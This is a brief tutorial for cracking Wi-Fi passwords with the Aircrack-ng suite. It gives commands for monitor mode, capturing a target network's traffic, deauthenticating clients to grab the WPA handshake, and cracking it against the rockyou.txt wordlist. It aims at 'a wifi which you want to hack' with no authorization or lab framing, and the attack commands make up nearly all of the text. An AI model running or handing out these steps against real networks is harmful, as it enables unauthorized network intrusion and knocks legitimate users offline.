Hack wifi using Aircrack-ng

1.Setting up the monitor interface to make the traffic visible
#airmon-ng start <interface>
airmon-ng start wlan0

2.Capturing the traffic using airodump-ng
#airodump-ng <interface>
airodump-ng wlan0mon

3.Consider a wifi which you want to hack .
Note its channel no, bssid
#airodump-ng -c <channel> --bssid <bssid> -w<path to write handshake files> <interface>
airodump-ng -c  11 -bssid ------------ -w /home/Desktop wlan0mon

4.Now,the handshake files are created.We can start for a handshake using aireplay-ng.Type the below command in another terminal
#aireplay-ng -a <bssid>  -e<essid>  --deauth 2 <interface>

5.We can see that the wifi received its handshake.
The encrypted passwords are captured in the handshake file and we need to crack them using a wordlist file.
Wordlist files are by default available in kali linux.
Search rockyou.txt in wordlistfile
aircrack-ng -b<bssid> -a<value> -w<path to wordlist> <path to handshake files> 
-a is attack type
WPA2-2
WEP-1

6.The handshake files go on through the wordlist file and crack the password!!!!

Note:During this process wifi gets disconnected to reconect type below commands
#airmon-ng stop <interface>
airmon-ng stop wlan0mon
service network-manager restart